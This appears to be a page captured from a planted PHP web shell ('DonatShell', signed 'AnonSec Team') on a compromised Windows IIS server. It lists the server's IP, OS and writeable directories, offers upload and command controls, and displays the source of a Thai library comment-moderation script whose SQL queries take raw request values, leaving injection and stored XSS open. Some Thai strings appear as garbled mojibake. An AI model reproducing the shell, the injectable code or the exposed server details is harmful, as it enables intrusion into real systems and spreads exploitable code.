DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.25
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/login.comment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/login.comment/index.php
<?
include("../inc/config.inc.php");
if ($mode=="chk") {
	if ($allowid=="yes") {
		tmq("update comments set allowed='yes' where id='$chkid' ");
	}
	if ($cancelid=="yes") {
		tmq("update comments set allowed='' where id='$chkid' ");
	}
	$chk=tmq("select * from comments where id='$chkid' ");
	$chk=tmq_fetch_array($chk);
	if ($chk[allowed]=="yes") {
		echo "<B style='font-size: 15; color: darkgreen'>͹حҵáÅéÇ</B> <A HREF='index.php?mode=chk&chkid=$chkid&cancelid=yes' style='font-size:12; color: darkred'>¡àÅÔ¡</A>";
	} else {
		echo "<B style='font-size: 15; color: darkred'>ÂѧäÁè͹حҵ</B> <A HREF='index.php?mode=chk&chkid=$chkid&allowid=yes' style='font-size:12; color: darkgreen'>͹حҵ</A>";
	}

	die;
}

head();
$_REQPERM="comments-list";
mn_lib();
$tbname="comments";
//printr($selectlist);
$now=time();
echo "<center>";

if ($issave=="yes" && count($selectlist)>0) {
  	if ($submitaction=="Delete Selected") {
		while (list($k,$v)=each($selectlist)) {
			tmq("delete from comments where id='$v' ",false);
		}
	}
}
echo "</center>";

$c[2][text]="ª×èÍÊÁÒªÔ¡";
$c[2][field]="memid";
$c[2][fieldtype]="text";
$c[2][descr]="";
$c[2][defval]="";
/*
$c[11][text]="Librarian";
$c[11][field]="libid";
$c[11][fieldtype]="readonlytext";
$c[11][descr]="";
$c[11][defval]=$useradminid;
*/
/*
$c[3][text]="Tag";
$c[3][field]="word1";
$c[3][fieldtype]="text";
$c[3][descr]="";
$c[3][defval]="";
*/
$c[9][text]="¢éͤÇÒÁ";
$c[9][field]="body";
$c[9][fieldtype]="longtext";
$c[9][descr]="";
$c[9][defval]="";

$c[10][text]="Date";
$c[10][field]="dt";
$c[10][fieldtype]="date";
$c[10][descr]="";
$c[10][defval]=time();;

$c[14][text]="Date";
$c[14][field]="bibid";
$c[14][fieldtype]="addcontrol";
$c[14][descr]="";
$c[14][defval]=$mid;

//dsp


$dsp[4][text]="-";
$dsp[4][field]="id";
$dsp[4][width]="2%";
$dsp[4][filter]="module:local_checkbox";

$dsp[2][text]="Name::l::Name";
$dsp[2][field]="memid";
$dsp[2][width]="30%";
$dsp[2][filter]="module:local_detail";

$dsp[3][text]="͹حҵ::l::Granted";
$dsp[3][field]="granted";
$dsp[3][width]="2%";
$dsp[3][filter]="module:localgrant";

function localgrant($wh) {
	return "<iframe width=150 height=75 src='index.php?mode=chk&chkid=$wh[id]'></iframe>";
}

function local_checkbox($wh) {
	$s="<INPUT TYPE=checkbox NAME='selectlist[]' value='$wh[id]' ID='item$wh[id]'
	style='border-width:0'>";

	return $s;
}

function local_detail($wh) {
	$s="<label for='item$wh[id]'>$wh[body] <BR>
	ã¹ <A HREF='../index.php?mode=viewrecord&mid=$wh[bibid]' target=_blank>".substr(marc_gettitle($wh[bibid]),0,30)."..</A>
	<BR>".getlang("â´Â::l::By").": ".($wh[memid])." ";
	$s.=getlang("àÁ×èÍ::l::Date").":".ymd_datestr($wh[dt])." (".ymd_ago($wh[dt]).")
	</label>";

	return $s;
}
?><TABLE width="1000" align=center>
<FORM METHOD=POST ACTION="<? echo $PHP_SELF;?>">
	<TR>
	<TD><?
	$limit=" 1 ";
	if ($mid!="") {
		$limit=" 1 and bibid='$mid' ";
	}
fixform_tablelister($tbname," $limit ",$dsp,"no","yes","yes","mid=$mid",$c,"id desc");
?></TD>
</TR>
<TR>
	<TD>
	<?
		echo getlang("źÃÒ¡Ò÷ÕèàÅ×Í¡::l::Delete selected") .": ";

	?><INPUT TYPE="submit" name="submitaction" value="Delete Selected" onclick="return confirm('<? echo getlang("źÃÒ¡Ò÷ÕèàÅ×Í¡?::l::Delete selected?");?>');"><?
	
	?></TD>
</TR>
<INPUT TYPE="hidden" NAME="issave" value="yes">
<INPUT TYPE="hidden" NAME="mid" value="<? echo $mid;?>">
</FORM>
</TABLE><?

index_reindex($ID);
foot();
?>

Anon7 - 2022
AnonSec Team